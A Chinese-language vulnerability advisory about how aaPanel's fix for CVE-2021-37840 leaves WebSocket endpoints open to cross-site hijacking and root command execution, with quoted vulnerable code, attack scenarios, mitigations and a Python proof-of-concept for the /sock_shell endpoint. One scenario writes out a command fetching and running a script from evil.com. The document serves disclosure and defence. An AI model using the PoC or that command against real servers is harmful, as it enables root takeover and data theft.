aaPanel：供应商并不总是能正确修复问题

针对 CVE-2021-37840 的不完整修复在 5 年后仍使 360 万台服务器面临 root RCE 风险

发现者： EON Security
CVE： 待分配
CVSS： 8.8（高危）— AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
受影响版本： aaPanel 6.8.12 至 7.65.0（自 2021 年修复以来的所有版本）
安装基数： 超过 360 万台服务器

简介

2021 年，aaPanel（一款运行在超过 360 万台服务器上的免费托管控制面板）披露了一个跨站 WebSocket 劫持漏洞（CVE-2021-37840）。供应商添加了一个 CSRF token 检查来“修复”该漏洞。

该修复在架构上是错误的。

修复并未在 HTTP 层面拒绝未认证的 WebSocket 连接（返回 401），而是允许所有连接通过（返回 101 Switching Protocols），并且只在处理器内部检查认证——此时 WebSocket 已经建立。他们添加的 CSRF 检查可以通过多种方式绕过。

EON Security 发现，5 年后，每个 aaPanel 版本仍然容易受到同一类攻击的影响。

这只是 aaPanel 在其 6 年多的历史中获得的第 10 个 CVE。

通俗解释

如果您运行 aaPanel，以下是攻击者可以对您采取的行动：

场景 1：管理员点击了恶意链接

1. 您团队中的某人点击了不应点击的链接（电子邮件、广告、消息）
2. 该页面会秘密地向您的 aaPanel 打开一个 WebSocket 连接——由于您已登录，浏览器会自动附带您的登录 cookie
3. aaPanel 看到有效会话并允许连接通过——认证成功
4. 攻击者发送 curl http://evil.com/payload.sh | bash——该命令将以 root 身份在您的服务器上运行
5. 您的服务器现在完全沦陷：网站被窃取、数据库被清空、恶意软件被提供给您的访问者

只需一次点击。一次误点击，攻击者就拥有一切。

场景 2：API 密钥泄露

1. API 密钥出现在不应该出现的地方——公开的 GitHub 仓库、配置备份、开发者的笔记中
2. 攻击者使用该密钥进行认证，并向 aaPanel 打开 WebSocket
3. CSRF 检查发现“这是 API 认证的请求”，并完全跳过检查——这是代码中内置的硬性绕过
4. 攻击者立即以 root 身份运行命令
5. 没有管理员点击、没有警告、没有看起来异常的日志——只有瞬间的沦陷

这是更大的问题。CSRF 保护完全不适用于 API 认证的请求。它旨在检查基于浏览器的连接，但 API 访问的代码路径完全绕过了它。

无论如何，360 万台服务器都受到影响。自 2021 年以来的每个版本。

1. 所有 10 个 WebSocket 端点在验证您的身份之前就接受连接——在检查认证之前就返回 HTTP 101 Switching Protocols
2. CSRF 检查存在硬性绕过条件——g.api_request=True（API 认证的请求）和 g.is_aes=True（AES 加密的请求）会完全跳过检查
3. /sock_shell 端点执行任意命令——subprocess.Popen(cmd + " 2>&1", shell=True)
4. /webssh 端点接受攻击者提供的 SSH 凭据——可连接到任意 SSH 主机
5. 以 root 身份运行——服务器完全沦陷

漏洞详情

1. WebSocket 端点在认证前接受连接

所有 WebSocket 端点在执行任何认证检查之前就返回 HTTP 101 Switching Protocols。comm.local() 认证检查在处理器内部运行，而这时 WebSocket 升级已经完成：

@sockets.route('/sock_shell')
def sock_shell(ws):
    comReturn = comm.local()     # ← Auth check happens AFTER 101
    if comReturn:
        ws.send(str(comReturn))
        return

受影响的端点：

• /webssh（SSH 终端代理）
• /sock_shell（直接命令执行）
• /ws_panel（面板管理）
• /ws_home（仪表盘）
• /ws_project（项目管理）
• /ws_model（模型管理）
• /workorder_client（工单系统）
• 以上所有端点的 /v2/* 变体

2. CSRF Token 检查绕过

check_csrf_websocket() 函数旨在防止跨站 WebSocket 劫持：

def check_csrf_websocket(ws, args):
    if g.is_aes: return True        # ← Bypass: AES mode skips check
    if g.api_request: return True    # ← Bypass: API requests skip check
    if public.is_debug(): return True
    is_success = True
    if not 'x-http-token' in args:
        is_success = False
    if is_success:
        if public.get_csrf_sess_html_token_value() != args['x-http-token']:
            is_success = False
    if not is_success:
        ws.send('token error')
        return False
    return True

存在两个硬性绕过条件：

• g.api_request：当为 True 时（在 API 密钥认证期间设置），CSRF 检查被完全跳过。任何经过 API 认证的 WebSocket 会话都会绕过此保护。
• g.is_aes：当为 True 时（在 AES 加密的 API 请求期间设置），CSRF 检查同样被跳过。

token 比较（get_csrf_sess_html_token_value()）返回 session.get('request_token_head', "")。在该值尚未初始化的会话中，空的 x-http-token 也能通过检查。

3. 通过 sock_shell 执行命令

/sock_shell 端点将攻击者提供的字符串直接传递给 subprocess.Popen，并带有 shell=True：

def sock_recv(cmdstring, ws):
    p = subprocess.Popen(cmdstring + " 2>&1",
                         close_fds=True,
                         shell=True,           # ← Arbitrary command execution
                         stdout=subprocess.PIPE,
                         stderr=subprocess.PIPE)

在 WebSocket 上收到的每条消息都会作为 shell 命令执行。输出通过 WebSocket 流式返回。由于 aaPanel 以 root 身份运行，这会造成系统完全沦陷。

4. 通过 webssh 的 SSH 代理

/webssh 端点接受来自第一条 WebSocket 消息的攻击者提供的 SSH 连接参数：

ssh_info['host'] = get['host'].strip()
ssh_info['port'] = int(get['port'])
ssh_info['username'] = get['username'].strip()
ssh_info['password'] = get['password'].strip()

如果主机是 127.0.0.1 或 localhost，处理器会在数据库中查找已保存的凭据，或使用攻击者提供的凭据。

攻击场景

主要的利用路径是 CSWSH（跨站 WebSocket 劫持），需要用户交互：

1. 管理员有一个活动的 aaPanel 会话（已登录）
2. 管理员访问恶意网页
3. 该页面打开一个到 wss://victim-panel:8888/sock_shell 的 WebSocket
4. 浏览器自动附带会话 cookie
5. comm.local() 通过认证（有效的会话 cookie）
6. 攻击者发送 {"x-http-token": ""} 或利用 API/AES 绕过路径
7. 如果 CSRF 检查通过，就可以以 root 身份执行命令

通过 API 密钥泄露的替代路径：

1. 攻击者获得有效的 aaPanel API 密钥
2. API 认证的请求设置 g.api_request = True
3. 这些请求完全跳过 CSRF 检查
4. 无需用户交互即可通过 WebSocket 直接执行命令

受影响的端点

PoC

import asyncio, json, ssl
import websockets

async def exploit(target, command):
    ssl_context = ssl.create_default_context()
    ssl_context.check_hostname = False
    ssl_context.verify_mode = ssl.CERT_NONE
    
    async with websockets.connect(
        f"wss://{target}/sock_shell", ssl=ssl_context
    ) as ws:
        # Attempt CSRF bypass with empty token
        await ws.send(json.dumps({"x-http-token": ""}))
        resp = await asyncio.wait_for(ws.recv(), timeout=10)
        
        if "token error" in resp:
            # CSRF check active — may need API auth bypass
            return None
        
        # Execute command
        await ws.send(command)
        return await asyncio.wait_for(ws.recv(), timeout=30)

完整 PoC：exploit.py

检测

使用 check.py 脚本测试 aaPanel 实例是否存在易受攻击的 WebSocket 端点：

python3 check.py https://target:8888

缓解措施

1. 在接受 WebSocket 升级之前检查认证——在握手阶段返回 HTTP 401，而不是之后
2. 移除硬性绕过条件——g.api_request 和 g.is_aes 不应跳过 CSRF 保护
3. 在 WebSocket 升级时验证 Origin 头——拒绝未知来源
4. 如非必需，禁用 sock_shell——它提供直接的 root 命令执行能力
5. 限制对 aaPanel 管理界面的网络访问

时间线

参考资料

• CVE-2021-37840 — 原始 aaPanel CSWSH
• CVE-2026-29859 — aaPanel 任意文件上传（2026 年 3 月）
• aaPanel GitHub — 官方仓库
• EON Security — 发现者

致谢

Yadav — EON Security
网站：https://eonsecurity.co.za

许可证

此内容根据 MIT 许可证授权。PoC 仅用于教育和防御目的。